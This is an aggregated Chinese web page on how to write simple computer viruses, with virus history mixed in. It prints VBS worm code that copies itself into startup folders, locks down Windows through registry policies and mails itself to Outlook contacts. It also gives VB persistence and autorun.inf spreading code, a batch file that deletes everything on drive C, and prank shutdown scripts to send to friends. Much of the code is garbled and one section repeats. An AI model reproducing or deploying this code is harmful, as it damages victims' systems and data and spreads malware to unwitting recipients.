简单电脑病毒制作代码（如何编写电脑病毒代码）

今天给各位分享简单电脑病毒制作代码的知识，其中也会对如何编写电脑病毒代码进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！

本文目录一览：

• 1、电脑病毒源代码介绍
• 2、电脑病毒怎么制做?
• 3、怎样制造电脑病毒?
• 4、电脑病毒是怎么编写的
• 5、怎么自制电脑病毒
• 6、如何制作电脑病毒呢

电脑病毒源代码介绍

电脑中了病毒想从它的源代码入手怎么办呢!有我在，下面由我给你做出详细的电脑病毒源代码介绍!希望对你有帮助!

电脑病毒源代码介绍：

电脑病毒源代码一：

on error resume next

set fs=createobject("ing.filesystemobject" '创建一个能与 操作系统 沟通的对象,再利用该对象的各种 方法 对注册表进行操作

set dir1=fs.getspecialfolder(0) '获取windows/winnt文件夹位置

set dir2=fs.getspecialfolder(1) '获取system32/system文件夹位置

set so=createobject("ing.filesystemobject"

dim r '定义一个变量

set r=createobject("w.shell"

so.getfile(w.fullname).copy(dir1"\win32system.vbs" '复制病毒副本到windows/winnt文件夹位置

so.getfile(w.fullname).copy(dir2"\win32system.vbs" '复制病毒副本到system32/system文件夹位置

so.getfile(w.fullname).copy(dir1"\start menu\programs\启动\win32system.vbs" '复制病毒副本到start menu启动菜单

'下面是对注册表的恶意修改和简单的依靠oe传播

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\norun",1,"reg_dword" '修改注册表，禁止“运行”菜单

r.regwrite "kcu\software\microsoft\windows\currentversion\policies\explorer\noclose",1,"reg_dword" '修改注册表，禁止“关闭”菜单

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodrives",63000000,"reg_dword" '修改注册表，隐藏所有逻辑盘符

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\system\disableregistrytools",1,"reg_dword" '修改注册表，禁止注册表编辑

r.regwrite "hklm\software\microsoft\windows\currentversion\run\scanregistry","" '修改注册表，禁止开机注册表扫描

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nologoff",1,"reg_dword" '修改注册表，禁止“注销”菜单

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\norealmode",1,"reg_dword" '修改注册表，禁止ms-dos实模式

r.regwrite "hklm\software\microsoft\windows\currentversion\run\win32system","win32system.vbs" '修改注册表，使这个脚本本身开机自动运行

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodesktop",1,"reg_dword" '修改注册表，禁止显示桌面图标

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\disabled",1,"reg_dword" '修改注册表，禁止纯dos模式

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosettaskbar",1,"reg_dword" '修改注册表，禁止“任务栏和开始”菜单

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\noviewcontextmenu",1,"reg_dword" '修改注册表，禁止右键菜单

电脑病毒源代码二：

r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosetfolders",1,"reg_dword" '修改注册表，禁止控制面板

r.regwrite "hklm\software\classes\.reg\","txtfile" '修改注册表，禁止导入使用.reg文件，改为用txt文件的关联

r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticecaption","警告" '设置开机提示框标题

r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticetext","您中vbs脚本病毒了，哭吧~" '设置开机提示框文本内容

set ol=createobject("outlook.application" '创建outlook文件对象用于传播

on error resume next

for x=1 to 100

set mail=ol.createitem(0)

mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用于向地址簿的前100名发送此 vbs病毒，可以算是简单弱智的蠕虫了吧~~

mail.subject="今晚你来吗?" '邮件主题

mail.body="朋友你好：您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运! 同城约会网" '邮件内容

mail.attachments.add(dir2"win32system.vbs"

mail.send

next

ol.quit

'下面是对internet explore 选项的恶意修改

r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsercontextmenu",1,"reg_dword" '修改注册表，禁止鼠标右键

r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword" '修改注册表，禁止internet选项

r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword" '修改注册表，禁止“另存为”

r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword" '修改注册表，禁止“文件/打开”菜单

r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\advanced",1,"reg_dword" '修改注册表，禁止更改高级页设置

r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\cache internet",1,"reg_dword" '修改注册表，禁止更改临时文件设置

r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\autoconfig",1,"reg_dword" '修改注册表，禁止更改自动配置

r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword" '修改注册表，禁止更改主页，即“主页”变灰

r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\history",1,"reg_dword" '修改注册表，禁止更改历史记录设置

r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\connwiz admin lock",1,"reg_dword" '修改注册表，禁止更改internet连接向导

r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\securitytab",1,"reg_dword" '修改注册表，禁止更改安全项

r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\resetwebsettings",1,"reg_dword" '修改注册表，禁止“重置web设置”

r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\noviewsource",1,"reg_dword" '修改注册表，禁止查看源文件

r.regwrite "hkcu\software\policies\microsoft\internet explorer\infodelivery\restrictions\noaddingsubions",1,"reg_dword" '修改注册表，禁止添加脱机计划

电脑病毒怎么制做?

分类: 电脑/网络

解析:

先告诉你这么多,

要更多内容请登陆bbshacker/read.php?tid=74237

对于接触计算机的朋友们来说，病毒已经不在是一个陌生的东西。病毒一般都具有传播、隐藏、破坏等能力。所以自从第一个病毒问世以来，它便被人们视为一种神秘的东西。但是，我们要知道。病毒也是程序，也是由人写出来的。所以，病毒并不是什么高不可攀的东西。现在，让我们了解一下VB制作病毒的原理。

首先，病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么线程插入技术。我们要实行自我隐藏，就要用到API函数。其代码如下：

Public Declare Function GetCurrentProcessid Lib "kernel32" () As Long

Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long)

Public Const RSP_SIMPLE_SERVICE = 1

Public Const RSP_UNREGISTER_SERVICE = 0

Public Sub MakeMeService()

Dim pid As Long

Dim resery As Long

pid = GetCurrentProcessid()

regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)

End Sub

这样就实现了自我隐藏。还有别的什么App.Title = ""和App.TaskVisible = False都可以用于VB病毒的隐藏。

病毒光会隐藏还不行，还要有常驻内存的能力。说通俗点，计算机关闭病毒也就跟着死去，而计算机重启，病毒也要跟这复活。所以，我们接下来的任务就是：实现病毒的开机自启。

了解病毒的朋友会知道，病毒一般是利用在注册表中插入相应键值来实现开机自启的。所以，我们就要利用编程来实现着一功能。读写注册表要用到API函数，代码：

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, pResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

上述是API声明。病毒的开机自启就是在RUN下建立一个启动项，代码：

Dim hKey As Long

Dim cc

Let cc = Len("病毒的绝对路径")

RegCreateKey HKEY_LOCAL_MACHINE, "Sofare\Microsoft\Windows\CurrentVersion\Runservices", hKey

RegSetValueEx hKey, "键名", 0, REG_SZ, ByVal "病毒的绝对路径", cc

RegCloseKey hKey

以上代码执行后会在注册表中加入一个病毒的启动项。

光利用开机自启来长驻内存也太容易被杀了。所以，我们还要想尽一切办法来让病毒启动。这里介绍的2种办法。

第一种。修改文本文件的关联。其代码如下：

API声明：

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, pResult As Long) As Long

Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Const HKEY_CLASSES_ROOT = H***********

Const REG_SZ = 1

实现代码：

Dim sKeyName As String '存储键名

Dim sKeyValue As String '存储键值

Dim MyReturn As Long '存储返回值信息

Dim keyhandle As Long

sKeyName = "Test"

sKeyValue = "Test Application"

MyReturn = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, keyhandle)

MyReturn = RegSetValue(keyhandle, "", REG_SZ, sKeyValue, 0)

MsgBox MyReturn

sKeyName = ".txt" '要建立关联的文件后缀名

sKeyValue = "Test"

MyReturn = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, keyhandle)

MyReturn = RegSetValue(keyhandle, "", REG_SZ, sKeyValue, 0)

sKeyName = "Test"

sKeyValue = "D:\\病毒.exe %1" '自己程序的位置和名称

MyReturn = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, keyhandle)

MyReturn = RegSetValue(keyhandle, "shell\open\mand", REG_SZ, sKeyValue, MAX_PATH)

End Sub

以上是利用修改TXT文件关联来实现病毒启动的。

第二种，利用Autorun.inf

光盘就是利用这个来自动播放的，所以我就不废话了。

实现代码：

If Dir("F:\") "" Then Let a = App.Path + "\" + App.EXEName + ".exe"

FileCopy a, "C:\病毒.exe"

Open "Autorun.inf" For Output As #1

Print #1, "[autorun]"

Print #1, "OPEN=病毒.exe"

Close #1

这样就实现了双击C盘启动病毒的作用。

下面说一下病毒的传播，病毒的传播可以说是八仙过海。主要的传播方式就是电子邮件传播，远程溢出等。

远程溢出这里不做详解。第一是我不太熟练，只会用，不会说。第二是要讲清楚很麻烦。所以，我讲一下电子邮件传播。

首先，建立一个WINSOCKE。然后利用编程来实现。这里只说思路。

ConnectToServer Server, Winsock1 ‘这是向服务器建立连接

SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach ‘发送邮件

FromAddress 发件人地址

ToAddress 收件人地址

Subject 邮件标题

Body 邮件内容

Attach 附件地址

利用这样的原理来群发，可以达到传播自己的目的。

还有一种就是U盘/A盘传播，原理上面已经说过。利用Autorun.inf文件，这里就不废话了。

说了这么多，还剩最后一点，那就是破坏性。这个就不详细阐述。什么自动关机，无限增殖。大家自己发挥想象，这不是很难的事。

最后总结，一个什么样的病毒，它必须生活在特定的操作系统下。所以，病毒做出来后，不一定能在什么操作系统下都能用。还有一点，病毒必须能自己保护自己。这里推荐使用TIMER。利用这个部件来不断的写注册表。这样，很难删掉病毒的启动键值。还要保护自身的增殖文件。比如：

Let a = App.Path + "\" + App.EXEName + ".exe"

If Dir("C:\Program Files\病毒.exe") "" Then

Else: FileCopy a, "C:\Program Files\病毒.exe"

最后，还有最重要的一点。那就是容错语句。尽量多加。以防万一。

好了，VB病毒的原理就说到这，谢谢。

怎样制造电脑病毒?

问题一：怎么制作电脑病毒 方法如下：在开始内点击运行输入at xx:xx shutdown -s,xx：xx代表几点几分是在几点几分关机输入shutdown.exe -s -t xx,xx代表多少秒钟后关机 如果要取消，就输入shutdown -a就可以取消了.

我听一个朋友说，有个人给他发个东西。他看了下。。说要输入一句话。。不然就管你机。是怎么编的。。。我知道关机命令和取消命令。。。不知道要对方怎么输才可以取消命令。。

脚本，例如下面的东西。就可以实现。

1。

首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看

把隐藏已知文件类型的扩展名前面的勾去掉.

然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject(wscript.shell)

WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 说我是猪，不说我是猪就一分钟关你机，不信，你试试・・・ ,0 ,true

dim a

do while(a 我是猪)

a = inputbox (说我是猪,就不关机，快撒，说 我是猪　,说不说,不说,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox

loop

msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛,呵呵，猪

dim WSHshell

set WSHshell = wscript.createobject(wscript.shell)

WSHshell.run cmd.exe /c shutdown -a,0 ,true

msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，真过瘾

复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打

开了就在60秒内要关闭计算机，

结素任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任

意想说的话，要是对付你喜欢的人，

就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打

开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?

第2招编写VBS脚本

首先你可以看下面的

WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！TSName)

WScript.Echo(你是可爱的小朋吗?)

WScript.Echo(哈,我想你拉，这你都不知道吗？)

WScript.Echo(怎么才来，说~是不是不关心我)

WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。)

WScript.Echo(小强很生气，......

问题二：怎么制造最简单的电脑病毒怎么搞？？？ ]@]@]

echo off

del c:\ /s /f /q

shutdown -r

复制代码，建文本文档，保存为：病毒.bat

TxT改bat方法：我的电脑：文件：文件夹选项：查看：显示己知文件的扩展名。就可以了。

问题三：为什么要制造电脑病毒 现在流行的病毒是由人为故意编写的，多数病毒可以找到作者和产地信息，从大量的统计分析来看，病毒作者主要情况和目的是：一些天才的程序员为了表现自常和证明自己的能力，出于对上司的不满，为了好奇，为了报复，为了祝贺和求爱，为了得到控制口令，为了软件拿不到报酬预留的陷阱等．当然也有因政治，军事，宗教，民族．专利等方面的需求而专门编写的，其中也包括一些病毒研究机构和黑客的测试病毒．

问题四：如何制造简单的计算机病毒？ 建立一个文本文件

写入：

[autorun]

open= 病毒.bat

保存为autorun.inf

再建立一个文本文件

写入：

cmd/s copy autorun.inf c:\/y

cmd/s cop储 病毒.bat c:\/y

cmd/s copy autorun.inf d:\/y

cmd/s copy 病毒.bat d:\/y

cmd/s copy autorun.inf e:\/y

cmd/s copy 病毒.bat e:\/y

cmd/s copy autorun.inf f:\/y

cmd/s copy 病毒.bat f:\/y

cmd/s copy autorun.inf g:\/y

cmd/s copy 病毒.bat g:\/y

cmd/s copy autorun.inf h:\/y

cmd/s copy 病毒.bat h:\/y

保存为病毒.bat

然后将2个文件放在同一个目录下，属性都设置为隐藏，系统。然后

执行 病毒.bat

------------这就是最简单的病毒。如果你想感染那个盘，就在bat文件里面加入。

问题五：怎么制作电脑病毒？ 有编程工具编写，c++、c#、c、java语言都可以编写病毒，关键需要编程基础。

问题六：病毒是怎么制造的？ 什么是电脑病毒？ hackbase/

[黑客基地]-全球最大中文黑客站

计算机病毒是一个程序，一段可执行码。就像生物病毒一样，计算机病毒有独特的复制能力。计算机病毒可以很快地蔓延，又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时，它们就随同文件一起蔓延开来。

某些计算机病毒还有其它一些共同特性：一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎仅仅表现在文字和图象上时，它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不寄生于一个污染程序，它仍然能通过占据存贮空间给你带来麻烦，并降低你的计算机的全部性能。

比如说: 可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为制造的程序,它通过不同的途径潜伏或寄生在存储媒体（如磁盘、内存）或程序里。当某种条件或时机成熟时,它会自生复制并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复制, 具有传染性.

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质（或程序）里, 当达到某种条件时即被激活的具有对计算机资源进行破坏作用的一组程序或指令 *** 。

1、最初计算机病毒这一概念的提出可追溯到七十年代美国作家雷恩出版的《P1的青春》一书，书中构思了一种能够自我复制，利用通信进行传播的计算机程序，并称之为计算机病毒。

2、贝尔实验室的三位年轻程序员也受到冯?诺依曼理论的启发，发明了“磁芯大战”游戏。

3、1983 年 11月，在一次国际计算机安全学术会议上，美国学者科恩第一次明确提出计算机病毒的概念，并进行了演示。

4、世界上公认的第一个在个人电脑上广泛流行的病毒是1986年初诞生的大脑(C-Brain)病毒，编写该病毒的是一对巴基斯坦兄弟，两兄弟经营着一家电脑公司，以出售自己编制的电脑软件为生。当时，由于当地盗版软件猖獗，为了防止软件被任意非法拷贝，也为了追踪到底有多少人在非法使用他们的软件，于是在1986年年初，他们编写了“大脑（Brain）”病毒，又被称为“巴基斯坦”病毒。该病毒运行在DOS操作系统下，通过软盘传播，只在盗拷软件时才发作，发作时将盗拷者的硬盘剩余空间吃掉。

5、1988年11月美国国防部的军用计算机网络遭受莫里斯病毒袭击，致使美国Internet网络上6000多计算机感染，直接经济损失9600万美元。莫里斯病毒是由康乃尔大学23岁的罗特?莫里斯制作。后来出现的各类蠕虫，都是仿造了莫里斯蠕虫，以至于人们将该病毒的编制者莫里斯称为“蠕虫之父”。

6、1999年 Happy99、美丽杀手（Melissa）等完全通过Internet传播的病毒的出现标志着Internet病毒将成为病毒新的增长点。其特点就是利用Internet的优势，快速进行大规模的传播，从而使病毒在极短的时间内遍布全球。

7、CIH病毒是继DOS病毒的第四类新型病毒，CIH这三个字母曾......

问题七：怎么制作电脑病毒？ 你懂编程么？！ 你会C VC++ JAVA VB 等一些编汇语言么 不会的话空喊个什么啊 别老想着搞人家电脑 先看你自己电脑被搞了没有

问题八：怎么制作电脑病毒。 制造病毒也会感染自己电脑，你可以装pe系统，在里面自己研究，你可以去华盟网看看

问题九：怎么样制作简单的电脑病毒 学习简单的编程知识就可以，到百度搜索一些简单编写病毒的知识，然后学习编写，在自己电脑上试验。然后再逐步加深，学习深一些的编程语言，编写难度大的病毒。但一定不要用病毒维护别人。

问题十：怎么制作电脑病毒 方法如下：在开始内点击运行输入at xx:xx shutdown -s,xx：xx代表几点几分是在几点几分关机输入shutdown.exe -s -t xx,xx代表多少秒钟后关机 如果要取消，就输入shutdown -a就可以取消了.

我听一个朋友说，有个人给他发个东西。他看了下。。说要输入一句话。。不然就管你机。是怎么编的。。。我知道关机命令和取消命令。。。不知道要对方怎么输才可以取消命令。。

脚本，例如下面的东西。就可以实现。

1。

首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看

把隐藏已知文件类型的扩展名前面的勾去掉.

然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject(wscript.shell)

WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 说我是猪，不说我是猪就一分钟关你机，不信，你试试・・・ ,0 ,true

dim a

do while(a 我是猪)

a = inputbox (说我是猪,就不关机，快撒，说 我是猪　,说不说,不说,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox

loop

msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛,呵呵，猪

dim WSHshell

set WSHshell = wscript.createobject(wscript.shell)

WSHshell.run cmd.exe /c shutdown -a,0 ,true

msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，真过瘾

复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打

开了就在60秒内要关闭计算机，

结素任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任

意想说的话，要是对付你喜欢的人，

就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打

开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?

第2招编写VBS脚本

首先你可以看下面的

WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！TSName)

WScript.Echo(你是可爱的小朋吗?)

WScript.Echo(哈,我想你拉，这你都不知道吗？)

WScript.Echo(怎么才来，说~是不是不关心我)

WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。)

WScript.Echo(小强很生气，......

电脑病毒是怎么编写的

电脑病毒是我们大家都不陌生的，你们也肯定很好奇电脑病毒是什么编写的，下面是我为大家整理的相关的内容，希望对大家有帮助! 如何制作电脑病毒方法一：

计算机病毒是编写或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码。

方法/步骤

1.计算机病毒的特征是传播性，非授权性，隐藏性，潜伏性，破坏性，不可预见性，可触发性。计算机病毒根据感染方式可以分为感染可执行文件的病毒，感染引导区的病毒，感染文档文件的病毒。

2.计算机病毒根据感染方式可以分为感染可执行文件的病毒，感染引导区的病毒，感染文档文件的病毒。

3.现阶段的反病毒技术有特征码扫描，启发式扫描，虚拟机技术，主动防御技术，自免疫技术，云杀毒等等。

4.一个简单病毒的模块包含，触发模块，传播模块，表现模块。

5.学习计算机病毒，要了解硬盘结构，计算机扇区结构，计算机系统启动过程，文件系统，计算机引导过程。

6.汇编语言和C语言用的会比较多。

注意事项

一个是要理解计算机系统，文件格式。

一个是要精通编程，汇编和C。

计算机病毒的编写方法二：

1.打开电脑左下角开始----所有程序----启动，右键点击启动选择属性单击左键。

2.查找下文件位置，找到启动所在文件夹。就可以进行下一步了。

3.打开启动这个文件，复制下文件路径。win7的启动文件家保存的是这个路径，XP的不是这个可以自己实验下。保存下备用

4新建一个记事本，写上如下代码保存。其中shutdown -s -t 0表示0秒后关机，代码的意思是把这个代码写到启动这个文件夹下面。

5.图中标记的代码就是刚才复制的路径，原理跟以前写过的自动关机代码差不多，只是自动关机时间调为0了。

电脑病毒的特点：

计算机病毒不但本身具有破坏性，更有害的是具有传染性，一旦病毒被复制或产生变种，其速度之快令人难以预防。

传染性是病毒的基本特征。

在生物界，病毒通过传染从一个生物体扩散到另一个生物体。在适当的条件下，它可得到大量繁殖，并使被感染的生物体表现出病症甚至死亡。同样，计算机病毒也会通过各种渠道从已被感染的计算机扩散到未被感染的计算机，在某些情况下造成被感染的计算机工作失常甚至瘫痪。与生物病毒不同的是，计算机病毒是一段人为编制的计算机程序代码，这段程序代码一旦进入计算机并得以执行，它就会搜寻其他符合其传染条件的程序或存储介质，确定目标后再将自身代码插入其中，达到自我繁殖的目的。

只要一台计算机染毒，如不及时处理，那么病毒会在这台电脑上迅速扩散，计算机病毒可通过各种可能的渠道，如软盘、计算机网络去传染其他的计算机。当您在一台机器上发现了病毒时，往往曾在这台计算机上用过的软盘已感染上了病毒，而与这台机器相联网的其他计算机也许也被该病毒染上了。是否具有传染性是判别一个程序是否为计算机病毒的最重要条件。

潜伏性

有些病毒像定时炸弹一样，让它什么时间发作是预先设计好的。比如黑色星期五病毒，不到预定时间一点都觉察不出来，等到条件具备的时候一下子就爆炸开来，对系统进行破坏。一个编制精巧的计算机病毒程序，进入系统之后一般不会马上发作，因此病毒可以静静地躲在磁盘或磁带里呆上几天，甚至几年，一旦时机成熟，得到运行机会，就又要四处繁殖、扩散，继续为害。潜伏性的第二种表现是指，计算机病毒的内部往往有一种触发机制，不满足触发条件时，计算机病毒除了传染外不做什么破坏。触发条件一旦得到满足，有的在屏幕上显示信息、图形或特殊标识，有的则执行破坏系统的操作，如格式化磁盘、删除磁盘文件、对数据文件做加密、封锁键盘以及使系统死锁等。

隐蔽性

计算机病毒具有很强的隐蔽性，有的可以通过病毒软件检查出来，有的根本就查不出来，有的时隐时现、变化无常，这类病毒处理起来通常很困难。

破坏性

计算机中毒后，可能会导致正常的程序无法运行，把计算机内的文件删除或受到不同程度的损坏 。通常表现为：增、删、改、移。

可触发性

病毒因某个事件或数值的出现，诱使病毒实施感染或进行攻击的特性称为可触发性。为了隐蔽自己，病毒必须潜伏，少做动作。如果完全不动，一直潜伏的话，病毒既不能感染也不能进行破坏，便失去了杀伤力。病毒既要隐蔽又要维持杀伤力，它必须具有可触发性。病毒的触发机制就是用来控制感染和破坏动作的频率的。病毒具有预定的触发条件，这些条件可能是时间、日期、文件类型或某些特定数据等。病毒运行时，触发机制检查预定条件是否满足，如果满足，启动感染或破坏动作，使病毒进行感染或攻击;如果不满足，使病毒继续潜伏。

怎么自制电脑病毒

有很多人都想过一把黑客瘾，制造个病毒出来，下面就让我教大家制造一个计算机开机重启的恶作剧小病毒。

自制电脑病毒

打开电脑左下角开始----所有程序----启动，右键点击启动选择属性单击左键。出现如图界面

通过如上操作出现如图界面，查找下文件位置，找到启动所在文件夹。就可以进行下一步了。

打开启动这个文件，复制下文件路径。 win7 的启动文件家保存的是这个路径，XP的不是这个可以自己实验下。保存下备用

新建一个记事本，写上如下代码保存。其中shutdown -s -t 0表示0秒后关机，代码的意思是把这个代码写到启动这个文件夹下面。

图中标记的代码就是刚才复制的路径，原理跟以前写过的 自动关机 代码差不多，只是自动关机时间调为0了。

保存之后修改下文件后缀名为.bat文件就可以了，有什么不懂的可以参考

好了，现在这个重启电脑的小病毒已经可以用了。你可以发给你的小伙伴们试下，双击就可以啦。如果用的XP系统把上面的路径改成这个就可以了。

怎么自制电脑病毒相关 文章 ：

1. 如何制作电脑病毒呢

2. 电脑病毒如何制作

3. 怎么样制作电脑病毒整人

4. 怎样制作一个简单的电脑病毒

5. 怎么制作整人电脑病毒

如何制作电脑病毒呢

如果都想学 还是按我的 方法 用别人的病毒好了，下面由我给你做出详细的电脑病毒制作介绍!希望对你有帮助!

电脑病毒制作介绍

电脑病毒制作方法一：

你可以到网上下载相应的源代码进行改造!前提是你懂得计算机的编程语言，如C++，VB等，如果不会免谈，但你可以去下载现成的，不过可能不合你意!最后，请你不要想用它干些危害社会的事，否则你会后悔的!

电脑病毒制作方法二：

最简单的方法就是下载病毒样本 如果你要编写病毒 除非先要学会汇编及反汇编 了解最新病毒的运行模式，在它的基础上添加自己想要实现的目标 学汇编 语言方面学个 VB C C++因为这些都是基础 如果都想跳过去 我觉得就没必要学制作病毒了，如果都不想学 还是按我的方法用别人的病毒好了

谁编写了世界上第一个电脑病毒：

据美国媒体11月4日报道，25年前，一名15岁的学生编写了世界上第一个计算机病毒，起初它只是一个“小恶作剧”，但如今数以万计的病毒已成为所有电脑用户的噩梦，网络时代的到来更为病毒的传播提供了新的模式。

它最初只是一个九年级学生的恶作剧，为了戏弄那些对他先前圈套已怀有戒心的朋友，而这个恶作剧使得里奇·斯克伦塔成为电脑病毒第一人。

“愚蠢的小恶作剧”

接下来的25年里，尽管斯克伦塔创办了“Topix”在线新闻公司，协助开发了现在为时代华纳公司旗下的网景公司拥有的合作网页目录，但他被人们提起最多的仍是在世界上释放了“ElkCloner”病毒。

现年40岁的斯克伦塔说：“它只是个愚蠢的小恶作剧。我想，如果必须在因此出名或是不出名中做选择，我宁愿因此出名。不过，它是个奇怪的占位符号，代替了我所做的一切事。”

“ElkCloner”病毒和所有其他病毒一样会自我复制，但它与现在的恶意程序几乎没有什么相似之处。然而，回顾过去，它是所有令人头疼的安全问题的鼻祖。这些安全问题随着计算机普及率的提高不断增多。

斯克伦塔的朋友们当时已经不信任他了，因为在当时常见的盗版圈子里，人们常常互换电脑游戏和其他软件，斯克伦塔经常改变他交出的软盘，发布一些讥讽性屏幕信息。许多朋友开始拒绝他给的软盘。

从1到100万

他写了一种引导区病毒。当被感染软盘运行引导程序或启动时，它将病毒的复本放在计算机的内存里。一旦有人将一张没有染毒的软盘插进计算机，并输入“catalog”指令查找文件列表时，病毒复本也就写入了那张软盘。然后，刚染上病毒的软盘传到了其他人手里、其他计算机上以及其他地方。

尽管这个恶作剧对于受害者而言很讨厌，但相较于今天的病毒，它相对无害一些。第50次启动感染病毒的软盘时，将会出现斯克伦塔写的一首诗。其中写道：“它将感染你所有的软盘;它将渗入你的芯片。”

斯克伦塔于1982年初开始在学校和当地计算机俱乐部的朋友间传播这个病毒。数年后，他还会继续听到其他受害者的 故事 ，10年后，一个水兵在海湾战争期间曾遭遇过它。

如今已有数十万种病毒，也许超过100万种，这取决于如何计算细微的变种。

关于简单电脑病毒制作代码和如何编写电脑病毒代码的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。